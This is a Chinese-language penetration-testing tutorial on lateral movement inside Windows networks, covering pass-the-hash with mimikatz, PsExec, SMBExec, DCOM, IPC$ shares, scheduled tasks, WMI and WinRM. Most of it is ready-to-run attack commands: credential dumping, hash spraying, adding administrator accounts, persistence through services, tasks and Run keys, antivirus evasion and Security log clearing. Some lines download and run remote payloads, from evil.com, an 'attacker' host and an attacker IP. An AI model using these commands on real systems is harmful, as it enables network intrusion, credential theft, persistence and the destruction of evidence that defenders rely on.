在内网渗透中,如获取到域账号信息和机器IP时就可以着手进行内网横向上线了。 而常见的横向移动无非那几种: SMB,WMI,Psexec 下文对以上常见的横向移动方式进行了总结之外,还归纳了一些不太常见的方式。
原理:在 Windows 系统中,NTLM 身份认证使用口令加密后的 hash 值(由系统 API 生成),攻击者若获取 hash,可在身份验证时模拟用户(跳过生成 hash 过程)。
hash 分为 LM hash(弃用) 和 NT hash,密码长度大于 15 时无法生成 LM hash,且从 Windows Vista 和 Windows Server 2008 开始默认禁用 LM hash。微软打补丁后,常规 Pass The Hash 仅默认的 Administrator(SID 500)账号例外。禁用 ntlm 认证时,PsExec 无法利用获得的 ntlm hash 进行远程连接,但 mimikatz 仍可攻击成功。
攻击适用于:
域/工作组环境
可以获得 hash,但是条件不允许对 hash 爆破
内网中存在和当前机器相同的密码
注:只能是administrator、域管用户的哈希值才能进行哈希传递攻击,其他用户(包括加入管理员组用户但是非administrator),域普通用户也不能使用哈希传递攻击。
抓取Hash
privilege::debug sekurlsa::logonpasswords mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt

修改目标注册表,开启hash传递
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

利用 mimikatz 输入下面命令
privilege::debug sekurlsa::pth /user:administrator /domain:192.168.112.151 /ntlm:3dbde697d71690a769204beb12283678 "/run:mstsc.exe /restrictedadmin"

成功登录
利用Netexec进行密码喷洒,喷洒本地administrator
Netexec smb 192.168.112.0/24 -u administrator -H NTLM-HASH.txt(收集到的hash字典) -x whoami -d workgroup
Netexec smb 192.168.112.0/24 -u administrator -p 123 -x whoami

psexec 是 Windows 官方自带的工具,属于 pstools。它可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个 psexec 服务,并在本地磁盘中生成名为 PSEXESVC 的二进制文件,然后利用该服务运行命令,运行结束后删除服务。利用 SMB 服务可通过明文或 hash 传递来远程执行,前提是目标的 445 服务端口开放(开放 445 端口相当于开放了 smb 协议)。
端口条件
目标主机需要开放 445 端口,因为 PsExec 连接基于 IPC 共享,445 端口开放才能进行通信。
共享条件
远程系统需开启 admin$ 共享(默认是开启的)。
权限条件
其他条件
使用 IPC$ 连接目标系统后,无需输入账户和密码,但在使用 PsExec 执行远程命令时会创建 psexec 服务,命令执行完后该服务自动删除,不过创建或删除服务时产生的大量日志可供蓝队在溯源时反推攻击流程。
利用Pstools / PsExec64.exe
PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456 cmd

-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框 -s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回显 -u 域\用户名 -p 密码
利用impacket-psexec
psexec -hashes :3dbde697d71690a769204beb12283678 ./Administrator@192.168.0.123
impacket-psexec administrator:123@192.168.112.151

SMBExec 与 PSExec 非常相似,但是,SMBExec 利用一个批处理文件和一个临时文件来执行和转发消息。与 PSExec 一样,SMBExec 通过 SMB 协议 (445/TCP) 发送输入并接收输出。
bash# 使用明文密码
smbexec.py administrator:password@192.168.1.100
# 使用 Hash
smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100
# 域环境下使用
smbexec.py domain/administrator:password@192.168.1.100
bash# 使用明文密码执行命令
NetExec smb 192.168.1.100 -u administrator -p password -x "whoami"
# 使用 Hash 执行命令
NetExec smb 192.168.1.100 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -x "whoami"
bashuse exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass password
set RHOST 192.168.1.100
exploit
常用命令和技巧
bash# 执行系统命令
smbexec.py administrator:password@192.168.1.100 "whoami"
# 获取系统信息
smbexec.py administrator:password@192.168.1.100 "systeminfo"
bash# 创建持久化服务
smbexec.py administrator:password@192.168.1.100 "sc create maintain binpath= \"cmd.exe /k C:\\maintain.exe\" start= auto"

简单来说,Docm是一个包含了接口在内的完整通信系统,举个栗子:
就像是在网上购物的场景下
客户端程序:消费者
另一个计算机上的组件/程序:商品
快递网络(不仅包括快递单上填写信息的格式,还包括了从仓库取货、运输、送货上门等一整套的流程和系统):Dcom
使用 DCOM 进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管 COM 服务器端的软件。例如我们使用 ShellBrowserWindow COM 对象,那么就会在远程主机的现有 explorer.exe 进程中执行。对攻击者而言,这无疑能够增强隐蔽性,由于有大量程序都会向 DCOM 公开方法,因此防御者可能难以全面监测所有程序的执行。
1、必须拥有域管理员权限
2、关闭系统防火墙

https://xz.aliyun.com/t/9691?time__1311=n4%2BxnD0DuDRDgD02DhD%2Fia4BKp3S8DfORYTD https://www.cnblogs.com/candada/p/17478407.html
在本地通过DCOM执行命令
在powershell中执行如下命令获取DCOM程序列表:
powershellGet-CimInstance Win32_DCOMApplication

我们在获取DCOM应用程序的时候,遇到了一个MMC Application Class(MMC20.Application):

这个COM对象可以编程MMC管理单元操作的组件脚本。我们在本地启动一个管理员权限的powershell,执行如下命令通过PowerShell与DCOM进行交互,创建一个“MMC20.Application”对象的实例(我们只需要提供一个DCOM ProgID和一个IP地址,就返回一个COM对象的实例):
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
获得COM对象的实例后,我们还可以执行如下命令枚举这个COM对象中的不同方法和属性:
# 此时可执行如下命令获得"MMC20.Application"支持的操作 $com.Document.ActiveView | Get-Member

如上图,可以发现该对象有一个 ExecuteShellCommand 方法,可用来执行命令。然后再通过ExecuteShellCommand执行命令,这里启动计算器:
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

命令执行成功。所以Dcom的横向大致利用也是如此,Dcom本身除了MMC20.Application,还有ShellWindows、ShellBrowserWindow、Excel.Application以及Outlook.Application等等都可以为我们所利用。
上面是通过MMC20.Application的ExecuteShellCommand方法在本地运行了一个“计算器”程序。
如果我们提供一个远程主机的IP,便可以使用
[activator]::CreateInstance([type]::GetTypeFromProgID(ProgID,IP))
[Activator]::CreateInstance([Type]::GetTypeFromCLSID(CLSID,IP))
命令通过Powershell与远程DCOM进行交互,只需要提供DCOM ProgID和对方的IP地址,就会向对方提供该DCOM对象的实例,然后就可以利用这个DCOM应用程序和ExecuteShellCommand方法来在对方目标主机上执行命令了。
dcomcnfg但由于com安全的默认配置Everyone是默认不打开远程启动和远程激活的

由于本次测试环境不存在域,Dcom失败

IPC是一种进程间通信的管道,通过提供用户名和密码,可在同一地址的不同进程间建立安全、加密的数据交换通道。同一时间,同一之间只能建立一个连接。借助此连接,能在被连接的目标机器上进行文件上传、下载、命令执行等操作。
例如,可通过net use \\<IP>\ipc$ password /user:username命令建立 IPC连接,还可使用查看当前主机所建立的连接。
另外,已建立连接的情况下,可通过net use z: \\ip\c$将目标主机的 C 盘映射到本地的 Z 盘,方便操作目标主机文件(未建立 IPC$ 连接时,映射命令需带上用户名和密码)。
关于 IPC$+ 计划任务的横向,我们的目的非常明确:
(1)首先建立向目标主机的IPC$连接
(2)接下来把命令执行的脚本传到目标主机
(3)再次创建计划任务在目标机器上执行命令脚本
(4)最后过河拆桥删除IPC$连接
实现远程操作
dir \\目标IP\c$等命令),实现对目标系统的信息收集,有助于了解目标系统的结构、文件分布等情况,为后续攻击或安全评估提供基础信息。(1)目标机器没有取消IPC$连接,没有什么防御防盗拦截IPC$,139 445端口也打开(能走445走445,不能则走139)
(2)目标机器小管理员开通了IPC$共享默认服务(逻辑盘、系统目录;都不开我访问个啥?)
(3)获取了目标机器的小管理员的管理员权限的账号密码(最好是域管理员账号密码),明文的
(4)目标系统能力支持IPC$,且和攻击机能力各自互通(废话)
net use \\192.168.112.151\ipc$ 123 /user:administrator net use

这里提一点,在多次渗透内网的过程中了解到一个问题,那么就是这个命令输入的时候到底需要不需要加上引号,我的建议是最好加上加上,另外就是如果是在Cobalt执行里面执行ipc命令进行连接的时候,密码中如果有一些特殊的字符,需要进行b,否则可能会导致ipc连接不成功。
dir \\192.168.112.151\c$

ipcConnect还有一个常用的命令就是进行本地映射,如果在命令行里面查看目录觉得很麻烦的话可以使用如下命令将已经建立IPC连接的主机的任意盘映射到自己的本地。例如这里我将DC的c盘映射到我本地的z盘。
net use z:\\192.168.112.151\IPC\c$ 123 /user:Administrator // 把目标C盘映射到本地z盘(未建立ipc连接的情况下) net use z:\\ip\c$ //把目标C盘映射到本地z盘(已建立ipc连接的情况下)
当然在最后我们渗透完成后需要清理痕迹,这里就会用到一条删除ipc连接的命令
net use \\192.168.112.151\ipc$

常用命令
net use #查看本机连接其他的机器 net session #查看其他连接本机的机器 net share #查看开启的本地共享 net share ipc$ #开启ipc共享 net share ipc$ #删除ipc共享 net use \\192.168.3.1\ipc$ /u:"administrator" password #以管理员账号进行ipc连接 net use \\192.168.3.1\ipc$ \del #删除建立的ipc连接 dir \\192.168.3.1\c$\user #查看c盘下的user文件夹的目录 net time \\192.168.3.1 #查看远程主机的时间
IPC横向常常作为文件上传,配合sc 注册服务进行上线
#sc 命令远程创建名为 test 的服务 sc \\192.168.3.157 create test binpath= "c:\beacon.exe" #远程查询名为 test 的服务 sc \\192.168.3.157 query test #远程启动名为 test 的服务 sc \\192.168.3.157 start test #远程删除名为 test 的服务 sc \\192.168.3.157 delete test
AT 和 Schtasks 是 Windows 系统自带的计划任务工具,用于在系统上创建和管理计划任务。
通过 AT/Schtasks,攻击者可以在目标主机上创建计划任务来执行任意命令或程序,实现在目标主机上的控制。
内置工具,无需额外程序:
AT/Schtasks 是系统自带命令,不容易被防火墙拦截,也不会引发明显的安全警报。
广泛的版本兼容性:
绕过部分限制:
当目标主机上无法直接执行命令时,可以通过计划任务创建执行路径。
示例:在 Webshell 环境下,AT/Schtasks 可以用于间接执行系统命令。
权限维持和提权:
横向渗透中,计划任务是一个可靠的权限维持方法。例如,定期执行恶意脚本以维持对系统的访问。
目标主机权限要求:
连接条件:
系统版本要求:
跳板机权限:
利用 AT/Schtasks 创建计划任务,在指定时间运行指定脚本或命令。
AT 示例(适用于旧版 Windows):
bash# 添加计划任务,在 15:30 执行 add.bat 脚本
at \\192.168.89.1 15:30 c:\add.bat
# 删除计划任务,任务 ID 为 1
at \\192.168.89.1 1 /delete
Schtasks 示例(适用于新版 Windows):
bash# 添加计划任务,运行 adduser.bat 脚本
schtasks /create /s 192.168.89.1 /ru "SYSTEM" /tn adduser /sc ONCE /st 15:30 /tr "c:\adduser.bat" /F
# 运行已创建的计划任务
schtasks /run /s 192.168.89.1 /tn adduser
# 删除计划任务
schtasks /delete /s 192.168.89.1 /tn adduser /f
2. 使用计划任务上线 Cobalt Strike 或 Metasploit
在渗透测试中,计划任务常用于反弹木马上线。
Schtasks 命令执行示例:
bash# 创建计划任务,定时反弹木马到攻击者服务器
schtasks /create /s 192.168.89.1 /ru "SYSTEM" /tn backdoor /sc HOURLY /tr "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -C IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/shell.ps1')" /F
3. 使用 Impacket 工具横向渗透
Impacket 的 atexec.py 利用计划任务远程执行命令,是高效的渗透工具。
Impacket 示例:
bash# 明文密码执行
impacket-atexec administrator:Admin123@192.168.112.151 "whoami"
# Hash 传递
impacket-atexec -hashes :ccef208c6485269c20db2cad21734fe7 administrator@192.168.112.151 "whoami"

执行步骤:
4. 在 Webshell 环境中的应用
Webshell 中无法直接执行命令时,可以通过计划任务间接执行。
示例:
bash# 在 Webshell 环境中调用计划任务
exec("at 15:47 c:\\add.bat");
exec("schtasks /create /tn adduser /sc DAILY /tr \"net user test testpass /add && net localgroup administrators test /add\" /ru \"SYSTEM\" /f");
其他注意事项
- 清理痕迹:
- 确保任务执行完毕后删除任务。
- 删除上传的脚本文件或工具。
- 权限提升与绕过:
- 在获得普通用户权限后,通过 AT/Schtasks 提权为 SYSTEM 用户。
- 防御与检测:
- 管理员应定期检查系统计划任务。
- 限制 IPC$ 共享访问和关闭不必要的端口。
Windows Management Instrumentation (WMI) 是 Windows 系统的管理基础架构,提供了一个统一的环境来访问和管理 Windows 系统资源。它允许本地和远程管理 Windows 系统,包括系统设置、服务、进程等。
WMI 优势
无需上传额外工具
更容易绕过杀软检测
日志记录较少
难以与正常管理操作区分
与其他工具对比
vs PsExec
vs SMBExec
vs PowerShell Remoting
基础命令执行
bash# 工作组环境
wmic /node:192.168.1.100 /user:administrator /password:123456 process call create "cmd.exe /c whoami"
# 域环境
wmic /node:192.168.1.100 /user:domain\administrator /password:123456 process call create "cmd.exe /c ipconfig"
信息收集
bash# 系统信息
wmic /node:192.168.1.100 os get caption,version
# 进程列表
wmic /node:192.168.1.100 process list brief
# 服务状态
wmic /node:192.168.1.100 service where "state='running'" get name
命令混淆
bash# 使用环境变量
wmic process call create "%COMSPEC% /c whoami"
# 命令拆分
wmic process call create "cm^d.e^xe /c net us^er"
# Base64编码执行
wmic process call create "powershell -enc BASE64_ENCODED_COMMAND"
绕过防护
bash# 使用替代命令
wmic process call create "powershell -w hidden -c command"
# 利用白名单程序
wmic process call create "regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll"
# 使用特殊字符
wmic process call create "c^md.exe /c dir c:\\"
持久化技术
bash# 创建计划任务
wmic /node:192.168.1.100 process call create "schtasks /create /tn \"Update\" /tr \"c:\payload.exe\" /sc DAILY"
# 添加启动项
wmic /node:192.168.1.100 process call create "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d \"c:\payload.exe\""
# 创建服务
wmic /node:192.168.1.100 process call create "sc create \"Service\" binpath= \"c:\payload.exe\""
信息收集
bash# 系统信息
wmic /node:192.168.1.100 os get caption,version,osarchitecture
# 进程列表
wmic /node:192.168.1.100 process list brief
# 服务状态
wmic /node:192.168.1.100 service where "state='running'" get name,displayname
# 用户信息
wmic /node:192.168.1.100 useraccount list brief
文件操作
bash# 文件复制
wmic process call create "cmd.exe /c copy \\\\attacker\\share\\file.exe c:\temp\"
# 文件删除
wmic process call create "cmd.exe /c del /f /q c:\temp\file.exe"
# 文件下载
wmic process call create "powershell (New-Object Net.WebClient).DownloadFile('http://attacker/file.exe', 'c:\temp\file.exe')"
权限维持
bash# 添加用户
wmic process call create "net user hacker Password123! /add"
# 添加管理员
wmic process call create "net localgroup administrators hacker /add"
# 修改防火墙
wmic process call create "netsh advfirewall firewall add rule name=\"Allow WMI\" dir=in action=allow protocol=TCP localport=135"
清理痕迹
bash# 清除日志
wmic process call create "wevtutil cl Security"
# 删除临时文件
wmic process call create "del /f /q %temp%\*"
# 清除最近文件记录
wmic process call create "del /f /q %APPDATA%\Microsoft\Windows\Recent\*"
免杀横向移动命令执行测试工具(无需445端口)
介绍:免杀横向渗透远程命令执行,常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令,这些方式都已经被杀软100%拦截,通过改造出WMIHACKER免杀横向移动测试工具。(无需445端口)
目前更推荐使用wmiexec-pro
有命令回显执行方式
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1
无命令回显
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0
模拟shell模式
> cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!"
文件上传-复制本机calc.exe到远程主机c:\calc.exe
> cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"
文件下载-下载远程主机calc.exe到本地c:\calc.exe
> cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"
Wmiexec.py的升级版,它通过仅使用端口135进行操作,避免了对SMB连接的需求,从而提高了隐蔽性。这款工具提供了一系列新颖的模块,包括AMSI绕过、文件传输、远程启用RDP、利用Windows防火墙、事件日志清理、远程启用WinRM等,以满足专业安全人员的多种需求。
项目地址:https://github.com/XiaoliChan/wmiexec-Pro
impacket的wmicexec.py还需要另外开启 445 端口和 admin$ 共享,因为他需要用 smb 回传来读取回显结果。
主要特点:AV规避 主要特点:无需win32_process 主要特点:只需要135端口。 新模块:AMSI旁路 新模块:文件传输 新模块:通过 wmi 类方法远程启用 RDP 新模块:Windows 防火墙滥用 新模块:事件日志循环清理 新模块:在不接触 CMD 的情况下远程启用 WinRM 新模块:服务管理器 新模块:RID-Hijack 增强功能:以新方式获取命令执行输出 增强功能:执行 vbs 文件
具体参照官方MD文档
python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -shell (Launch a semi-interactive shell) python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" (Default is with output mode) python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -silent (Silent mode) python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -silent -old (Slient mode in old version OS, such as server 2003) python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -old (With output in old version OS, such as server 2003) python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -save (With output and save output to file) python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -old -save
Windows Remote Management (WinRM) 是微软开发的基于 WS-Management 标准的协议,用于远程管理 Windows 系统。它是 PowerShell 远程管理的基础设施,默认监听 5985(HTTP)和 5986(HTTPS)端口。
与其他工具对比
WinRM 优势:
WinRM 劣势:
网络要求
权限要求
服务要求
WinRM 服务启用
PowerShell 可用
目标开启远程管理
安装WinRM服务
1、查看是否开启winrm
winrm e winrm/config/listener
如果报错说明没有开启
2、开启服务
要在管理员模式下,使用CMD。因为Powershell会无法执行
winrm quickconfig
会有两个问题,都输入“y”即可
3、winrm service设置auth
winrm set winrm/config/service/auth "@{Basic="true"}"
4、为winrm service 配置加密方式为允许非加密(这个不配置,远程连接会出错)
winrm set winrm/config/service "@{AllowUnencrypted="true"}"
5、查看winrm配置
winrm get winrm/config
配置TrustedHosts
winrm set winrm/config/client @{TrustedHosts="10.10.10.10"} #信任主机10.10.10.10
Set-Item WSMan
\client\trustedhosts -value * #powershell 信任所有主机
受害机基础配置和连接
启用 WinRM
powershell# 快速配置 Enable-PSRemoting -Force # 详细配置 winrm quickconfig winrm set winrm/config/client @{TrustedHosts="*"}
攻击机:
测试连接
powershell# 测试WinRM服务 Test-WSMan -ComputerName 192.168.112.151 # 检查连接状态 Test-NetConnection -ComputerName 192.168.1.100 -Port 5985

具体利用建议使用evil-winrm/Netexec
evil-winrm -i 192.168.112.151 -u administrator -p 123

netexec winrm 192.168.112.151 -u administrator -p 123 -x whoami

略过,参考
Wmiexec-pro / Wmihacker
Winrm (evil-winrm / netexec)